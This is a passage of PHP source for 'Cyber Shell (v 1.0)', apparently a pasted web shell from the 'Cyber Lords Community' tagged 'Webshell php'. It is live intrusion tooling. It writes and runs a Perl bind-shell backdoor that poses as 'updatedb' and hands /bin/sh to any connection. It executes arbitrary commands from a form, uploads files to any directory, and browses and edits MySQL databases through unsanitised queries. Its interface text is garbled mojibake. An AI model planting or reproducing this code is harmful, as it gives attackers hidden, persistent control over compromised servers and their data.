  627. <input type=hidden name=tools>
  628. <input type=submit value="���������">
  629. </form>
  630. </td>
  631. </tr>
  632. </table>
  633. </center>
  634. EOF;
  635.  
  636. if (isset($bfileneme) && ($bfileneme!="") && isset($bport) && ($bport!="")){
  637. $script="
  638. #!/usr/bin/perl
  639. \$port = $bport;
  640. \$port = \$ARGV[0] if \$ARGV[0];
  641. exit if fork;
  642. \$0 = \"updatedb\" . \" \" x100;
  643. \$SIG{CHLD} = 'IGNORE';
  644. use Socket;
  645. socket(S, PF_INET, SOCK_STREAM, 0);
  646. setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
  647. bind(S, sockaddr_in(\$port, INADDR_ANY));
  648. listen(S, 50);
  649. while(1)
  650. {
  651.     accept(X, S);
  652.     unless(fork)
  653.     {
  654.         open STDIN, \"<&X\";
  655.         open STDOUT, \">&X\";
  656.         open STDERR, \">&X\";
  657.         close X;
  658.         exec(\"/bin/sh\");
  659.     }
  660.     close X;
  661. }
  662. ";
  663.  
  664. $f = fopen("$d/$bfileneme", "w+");
  665. fwrite($f, $script);
  666. fclose($f);
  667. system("perl $d/$bfileneme");
  668. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$d&show\">";
  669. }
  670.  
  671. if (isset($tools) or isset($tbash))
  672. echo <<< EOF
  673. <center>
  674. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  675. <tr height="10">
  676. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
  677. <form  action="$PHP_SELF" method="GET">
  678. <input type="hidden" name="d" value="$d" >
  679. .: ��������� ������� :.
  680. </td>
  681. </tr height="10">
  682. <tr>
  683. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  684. <input type=hidden name=diz>
  685. <input type=hidden name=tbash>
  686. <input type=text size=55 name=cmd value="$cmd">
  687. <input type=submit value="���������">
  688. </form>
  689. </td>
  690. </tr>
  691. </table>
  692. </center>
  693. EOF;
  694.  
  695. if (isset($cmd) && ($cmd!="")){
  696. echo "<pre><div align=\"left\">";
  697. system($cmd);
  698. echo "</div></pre>";
  699. }
  700.  
  701. if (isset($tools) or isset($tupload)){
  702. $updir="$d/";
  703. if(empty($go)) {
  704. echo <<< EOF
  705. <center>
  706. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  707. <tr height="10">
  708. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
  709. <form ENCTYPE="multipart/form-data"  action="$PHP_SELF" method="post">
  710. .: �������� ���� � ������� ������� :.
  711. </td>
  712. </tr height="10">
  713. <tr>
  714. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  715. <INPUT NAME="userfile" TYPE="file" SIZE="40">
  716. <input type="hidden" name="d" value="$d">
  717. <input type=hidden name=diz>
  718. <input type=hidden name=tupload>
  719. <input type="submit" name=go value="���������">
  720. </form>
  721. </td>
  722. </tr>
  723. </table>
  724. </center>
  725. EOF;
  726. }
  727. else {
  728. if (is_uploaded_file($userfile)) {
  729. $fi = "������� ���� $userfile_name �������� $userfile_size ���� � ���������� $updir";
  730. }
  731. echo "$fi<br><a href='$PHP_SELF?d=$d&show&tupload'>����� � ��������</a>";
  732. }
  733. if (is_uploaded_file($userfile)) {
  734. $dest=$updir.$userfile_name;
  735. move_uploaded_file($userfile, $dest);
  736. }}
  737.  
  738. if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass))  ){
  739. mysql_connect($db_server, $db_user, $db_pass) or die("�� ���� ������������ � ����");
  740. }
  741.  
  742. if ((isset($dbname)) and (isset($table)) )
  743. {
  744. foreach($_POST as $var => $val)
  745. if (substr($var,0,7) == 'newpole'){
  746. if (substr($var,7,strlen($var)) !== ''){
  747. $indif=substr($var,7,strlen($var));
  748. echo " $val ";
  749. mysql_select_db($dbname) or die("�� ���� ������� ���� ������");
  750. if ($xvar == "")
  751. $xvar .= $indif;
  752. else
  753. $xvar .= ",".$indif;
  754. if ($xval == "")
  755. $xval .= "'$val'";
  756. else
  757. $xval .= ",'$val'";
  758. }}
  759.  
  760. if ($xvar != ""){
  761. mysql_query("INSERT INTO $table ($xvar) values ($xval)");
  762. }
  763.  
  764. echo "<a href=$PHP_SELF?showtables=$dbname&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>����� � ������ ������ ��:$dbname</a>";
  765. mysql_select_db($dbname) or die("�� ���� ������� ���� ������");
  766. $re=mysql_query("select * from $table");
  767. echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>";
  768.  
  769. $res=mysql_fetch_array($re);
  770. echo "<tr>";
  771. if (count($res) > 1)
  772. foreach($res as $var => $val){
  773. $nvar=$var;
  774. if ($nvar !== 0)
  775. $nvar=$var+128945432;
  776. if ($nvar == 128945432){
  777. $var=untag($var);
  778. echo "<td bgcolor='#CCCCFF' bordercolor='#FFFFFF'><center>$var</center></td>";
  779. }}
  780. echo "<td></td></tr>";
  781.  
  782. if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0"))
  783. $param="limit $_SESSION[limit]";
  784.  
  785. $re=mysql_query("select * from $table $param");
  786.  
  787. while($res=mysql_fetch_array($re)){
  788. echo "<tr>";
  789. if (count($res) > 1)
  790. foreach($res as $var => $val){
  791. $nvar=$var;
  792. if ($nvar !== 0)
  793. $nvar=$var+128945432;
  794. if (!$pixidname){
  795. $pixidname=$var;
  796. $pixid=$val;
  797. }
  798. if ($nvar == 128945432){
  799. $valtext=untag($val);
  800. if ($valtext == "") $valtext="=�����=";
  801.  
  802.  
  803. if ($_SESSION[lenth] == "on"){
  804. if (strlen($valtext)>40){
  805. $valtext=substr($valtext,0,40);
  806. $valtext .="...";
  807. }}
  808.  
  809. echo "<td><a href=$PHP_SELF?dbname=$dbname&mtable=$table&var=$var&pixidname=$pixidname&pixid=$pixid&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$valtext</a></td>";
  810. }}
  811.  
  812. echo "<td><a href=$PHP_SELF?dbname=$dbname&mtable=$table&pixidname=$pixidname&pixid=$pixid&db_server=$db_server&db_user=$db_user&db_pass=$db_pass&del>�������</a></td></tr>";
  813. $pixidname='';
  814. $pixid='';
  815. }
  816.  
  817. echo "<form  action=\"$PHP_SELF\" method=\"POST\">";
  818.  
  819. $re=mysql_query("select * from $table");
  820. $res=mysql_fetch_array($re);
  821. echo "<tr>";
  822. if (count($res) > 1)
  823. foreach($res as $var => $val){
  824. $nvar=$var;
  825. if ($nvar !== 0)
  826. $nvar=$var+128945432;
  827. if ($nvar == 128945432){
  828. $var=untag($var);
  829. echo "<td bgcolor='#CCCCFF' bordercolor='#FFFFFF'><center>$var</center></td>";
  830. }}
  831. echo "<td></td></tr>";
  832.  
  833. $re=mysql_query("select * from $table");
  834. $res=mysql_fetch_array($re);
  835. echo "<tr>";
  836. if (count($res) > 1)
  837. foreach($res as $var => $val){
  838. $nvar=$var;
  839. if ($nvar !== 0)
  840. $nvar=$var+128945432;
  841. if ($nvar == 128945432){
  842. $var=untag($var);
  843. echo "<td bgcolor='#FFFFFF' bordercolor='#FFFFFF'><center><input type='text' name='newpole$var' value='$var' size='5'></center></td>";
  844. }}
  845. echo "</tr>";
  846. echo "</table>";
  847. echo "<input type=\"submit\"  value=\"�������� ����� ������\" >";
  848. echo "
  849. <input type=\"hidden\" name=\"dbname\" value=\"$dbname\">
  850. <input type=\"hidden\" name=\"table\" value=\"$table\">
  851. <input type=\"hidden\" name=\"db_server\" value=\"$db_server\" >
  852. <input type=\"hidden\" name=\"db_user\" value=\"$db_user\" >
  853. <input type=\"hidden\" name=\"db_pass\" value=\"$db_pass\" >
  854. ";
  855. echo "</form>";
  856. }
  857.  
  858. if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){
  859. echo "hello";
  860. mysql_select_db($dbname) or die("�� ���� ������� ���� ������");
  861. mysql_query("delete from $mtable where $pixidname='$pixid'");
  862. echo "<head><meta http-equiv=\"refresh\" content=\"0;URL=$PHP_SELF?dbname=$dbname&table=$mtable&db_server=$db_server&db_user=$db_user&db_pass=$db_pass\"></head>";
  863. }
  864.  
  865. if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){
  866. mysql_select_db($dbname) or die("�� ���� ������� ���� ������");
  867. mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid");
  868. }
  869.  
  870. if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){
  871. mysql_select_db($dbname) or die("�� ���� ������� ���� ������");
  872. $re=mysql_query("select $var from $mtable where $pixidname='$pixid'");
  873. $res=mysql_fetch_array($re);
  874. $text=untag($res[$var]);
  875.  
  876. echo "
  877. <form  action=\"$PHP_SELF\" method=\"POST\">
  878. <textarea name=\"textofmysql\" rows=\"25\" cols=\"60\" wrap=\"OFF\">$text</textarea>
  879. <input type=\"hidden\" name=\"dbname\" value=\"$dbname\" >
  880. <input type=\"hidden\" name=\"mtable\" value=\"$mtable\" >
  881. <input type=\"hidden\" name=\"var\" value=\"$var\" >
  882. <input type=\"hidden\" name=\"pixidname\" value=\"$pixidname\" >
  883. <input type=\"hidden\" name=\"pixid\" value=\"$pixid\" >
  884. <input type=\"hidden\" name=\"db_server\" value=\"$db_server\" >
  885. <input type=\"hidden\" name=\"db_user\" value=\"$db_user\" >
  886. <input type=\"hidden\" name=\"db_pass\" value=\"$db_pass\" >
  887. <br><input type=\"submit\"  value=\"            ��������            \" >
  888. </form>
  889. <a href=$PHP_SELF?dbname=$dbname&table=$mtable&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>��������� � ������</a>
  890. ";
  891. }
  892.  
  893. if (isset($showdb) && empty($showtables)){
  894. $re=mysql_query("show databases");
  895. echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>";
  896. echo "<tr><td><center><div style='background-color:#CCCCFF'><span class='style5'>������ ��������� ��:</span></div></center></td></tr>";
  897. while($res=mysql_fetch_array($re)){
  898. echo "<tr><td><center><a href=$PHP_SELF?showtables=$res[0]&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$res[0]</a></center></td></tr>";
  899. }
  900. echo "</table>";
  901. }
  902. if (isset($showtables) and !empty($showtables)){
  903.  
  904. if (isset($xlimit)){
  905. $_SESSION[limit]=$xlimit;
  906. if (isset($xlenth))
  907. $_SESSION[lenth]=$xlenth;
  908. else $_SESSION[lenth]="";
  909. }
  910.  
  911. echo "<a href=$PHP_SELF?showdb&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>����� � ������ ��</a>";
  912. $re=mysql_query("SHOW TABLES FROM $showtables");
  913. echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>";
  914. echo "<tr><td><center><div style='background-color:#CCCCFF'><span class='style5'>$showtables - ������ ������: </span></div></center></td></tr>";
  915. while($res=mysql_fetch_array($re)){
  916. echo "<tr><td><center><a href=$PHP_SELF?dbname=$showtables&table=$res[0]&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$res[0]</a></td></tr>";
  917. }
  918. echo "</table>";
  919.  
  920. if (($_SESSION[lenth]) == "on")
  921. $ch="checked";
  922. else
  923. $ch="";
  924.  
  925. echo <<< EOF
  926. <form  action="$PHP_SELF" method="get">
  927. <input type="hidden" name="showtables" value="$showtables" >
  928. <input type="hidden" name="db_server" value="$db_server" >
  929. <input type="hidden" name="db_user" value="$db_user" >
  930. <input type="hidden" name="db_pass" value="$db_pass" >
  931. ����������� �� ���������� ��������� �����:<br>
  932. <select name="xlimit">
  933.   <option value="0">&#1055;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100; &#1074;&#1089;&#1105;</option>
  934.   <option value="10">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 10</option>
  935.   <option value="20">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 20</option>
  936.   <option value="30">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 30</option>
  937.   <option value="50">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 50</option>
  938.   <option value="100">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 100</option>
  939.   <option value="200">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 200</option>
  940.   <option value="500">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 500</option>
  941.   <option value="1000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 1000</option>
  942.   <option value="5000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 5000</option>
  943. </select>
  944. <br>�������� ����������� �� ����� ��������� ����� <input name="xlenth" type="checkbox" value="on" $ch><br>
  945. <input type="submit"  value="���������" >
  946. EOF;
  947. if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0"))
  948. echo "<br>������� �����������: $_SESSION[limit]";
  949. }
  950.  
  951. if (isset($tools) or isset($tmysql))
  952. echo "
  953. <center>
  954. <table width='505' border='0' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCCC'>
  955. <tr height='10'>
  956. <td align='center' bordercolor='#ECE9D8' bgcolor='#FFF8FF'>
  957. .: MySQL :.
  958. </td>
  959. </tr height='10'>
  960. <tr>
  961. <td align='center' bordercolor='#ECE9D8' bgcolor='#FFFFFF'>
  962. <form name='zapros' method='get' action=''>
  963. <table width='505' border='0' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>
  964. <tr align='center' >
  965. <td>
  966. Host
  967. </td>
  968. <td>
  969. <input name='db_server' type='text' value='localhost'>
  970. </td>
  971. </tr>
  972. <tr align='center' >
  973. <td>
  974. Login MySQL
  975. </td>
  976. <td>
  977. <input type='text' name='db_user' value=''>
  978. </tr>
  979. <tr align='center' >
  980. <td>
  981. Password MySQL
  982. </td>
  983. <td>
  984. <input type='text' name='db_pass' value=''>
  985. <input type='hidden' name='showdb'>
  986. </td>
  987. </tr>
  988. <tr align='center' >
  989. <td>
  990. ��� �� (�� �����������)
  991. </td>
  992. <td>
  993. <input type='text' name='showtables' value=''>
  994. </td>
  995. </tr>
  996. <tr align='center' >
  997. <td>
  998. <input type='submit'>
  999. </td>
  1000. <td>
  1001. <input type='reset'>
  1002. </td>
  1003. </tr>
  1004. </table>
  1005. </form>
  1006. </td>
  1007. </tr>
  1008. </table>
  1009. </center>
  1010. ";
  1011. }
  1012. echo <<< EOF
  1013. <center>.:Cyber Shell (v 1.0):.<br>Copyright � <a href="http://www.cyberlords.net" target="_blank">Cyber Lords Community</a>, 2002-2006</center>
  1014. </td>
  1015. </tr>
  1016. </table>
  1017. EOF;
  1018.  
  1019. $d=tourl($d);
  1020. echo "
  1021. <center>
  1022. <span class='style1'>
  1023. <a href=$PHP_SELF?d=$d&diz&tmkdir>.: ������� ����� :.</a>
  1024. <a href=$PHP_SELF?d=$d&diz&tmkfile>.: ������� ���� :.</a>
  1025. <a href=$PHP_SELF?d=$d&diz&tbackdoor>.: ������� ���� ��� ����������� :.</a><br>
  1026. <a href=$PHP_SELF?d=$d&diz&tbash>.: Bash :.</a>
  1027. <a href=$PHP_SELF?d=$d&diz&tupload>.: �������� ���� :.</a>
  1028. </span>
  1029. </center>
  1030. ";
  1031. }
  1032. die;
  1033. ?>
Tags: Webshell php
Add Comment
Please, Sign In to add comment